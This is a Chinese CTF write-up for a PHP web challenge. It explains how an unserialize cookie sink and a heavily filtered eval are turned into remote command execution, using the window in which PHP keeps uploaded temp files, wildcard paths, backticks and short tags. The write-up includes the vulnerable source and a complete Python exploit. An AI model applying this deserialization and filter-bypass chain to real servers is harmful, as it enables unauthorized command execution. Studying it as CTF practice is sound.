考察php代码审计,临时文件窗口期的利用,以及linux指令的掌握,对我好难,还好有@blackWatch的wp和协助

(据说是某原题搬运,碍于题量太少而没有找到原题在哪,但是这不重要

miniL Web p

这题就叫"p",没有打错/doge

得到classes.php

一进来index.php已高亮,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include 'classes.php';
if (!isset($_COOKIE['git'])) {
ob_start();
setcookie('git', base64_encode(serialize(new gitee('index.php'))));
echo '<script>location.reload()</script>';
ob_end_flush();
die();
}
$comp = unserialize(base64_decode($_COOKIE['git']));
highlight_file($comp->file);
echo '<br>';

你用上了Git,可是,代价是什么呢(悲)

index包含了classes.php,根据要求传一个b64的cookie用作反序列化,从而高亮classes.php

classes.php如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class gitee {
function __destruct() {
echo '你用上了Git,可是,代价是什么呢(悲)';
}
function __construct($f) {
$this->file = $f;
}
}
class github {
public $cmd = '';
function __destruct() {
if (preg_match("/[A-Za-oq-z0-9$]+/", $this->cmd))
die("cerror");
$blacklist = "~!@#%^&*()()-_{}[]'\":,";
foreach(str_split($blacklist) as $char) {
echo $char;
if(strchr($this->cmd, $char) !== false)
die('serror');
}
eval($this->cmd);
}
public function __wakeup() {
if ($_SERVER["HTTP_X_REAL_IP"] !== '127.0.0.1') {
// proxy_set_header X-Real-IP $remote_addr;
die('across the great ... nope');
}
}
}
?>
你用上了Git,可是,代价是什么呢(悲)

临时文件窗口期利用

可见本题的解题关键在于eval($this->cmd),但在eval执行之前$cmd已经被过滤的只剩个p和一些字符了,而对于此题的解法其实是相对固定的:即使用shell命令调用上传的文件,利用这一窗口期执行任意我们希望服务端执行的shell命令

如何利用:

  • 首先确定如何在仅有这么小点字符集的情况下访问到上传的临时文件 { Windwos下临时文件保存在C:/Windows/Temp/,命名为php[4个随机字符].tmp;Linux下保存在/tmp/,命名为php[随机6个字符] } 可以确定我们要找的是路径为tmp/phpxxxxxx的文件,结合Linux中的单字符通配符?,就可以找到它了

    ??p/p?p??????

  • 现在确定上传怎样的文件才可以帮助我们找到flag,注意到反引号 ` 没有被过滤,而php中反引号为执行运算符

    PHP将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出);使用反引号运算符的效果与函数shell_exec()相同。但这一切的前提是服务端允许一个这么危险的函数执行

    句号 . 也没有被过滤,这在Linux中可以执行shell script,例如./tmp/hello.sh(但在实际操作中发现这个句号执行需要权限,不能直接打了就来,可能是服务端已经设置好了,所以才能执行),以下是对于shell的大致介绍

    Shell 是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁;Shell 既是一种命令语言,又是一种程序设计语言
    需要关注的是 Bash,也就是 Bourne Again Shell,由于易用和免费,Bash 在日常工作中被广泛使用;同时,Bash 也是大多数Linux 系统默认的 Shell
    扩展名并不影响脚本执行,sh的后缀完全是为了方便用户理解这个文件大概是什么玩意儿,Linux根据文件头识别文件类型,不需要扩展名

    只需基础的两个命令即可帮助我们获取flag:catgrep*作为匹配0至任意个字符的通配符,使得cat返回全部根目录下文件信息

    1
    #!/bin/sh\ncat /* | grep flag

  • 最后需要输出执行上述文件后返回的结果,需要用到的是php短标签

    <?='233';?> 等价于 <?echo '233';?>

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import base64

url =''

#=====================================================================================================================
# echo的快捷用法,但须在php.ini里打开short_open_tag
# |
# | 尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回
# ↓ ↓
#---------------------------------------------------------------------------------------------------------------------
git = 'O:6:"github":1:{s:3:"cmd";s:26:"?><?=`. /??p/p?p??????`;?>";}'
#---------------------------------------------------------------------------------------------------------------------
# ↑
# 执行后面路径下的文件
#=====================================================================================================================

git = base64.b64encode(git.encode()).decode()
cookies = {'git': git}

#=====================================================================================================================
# 打开根目录下全部文件并显示在标准输出
# |
# | 查找字符串
# ↓ ↓
#---------------------------------------------------------------------------------------------------------------------
files = {'file': "#!/bin/sh\ncat /* | grep flag"}
#---------------------------------------------------------------------------------------------------------------------
# ↑ ↑ ↑
# | 换行符 pipe,以前面的返回作为参数来执行后面的命令,相当于在根目录里找flag
# |
# #!是一个特殊的表示符,其后跟着解释此脚本的shell路径
#=====================================================================================================================

a = requests.post(url, files=files, cookies=cookies)
print(a.text)

Comments

⬆︎TOP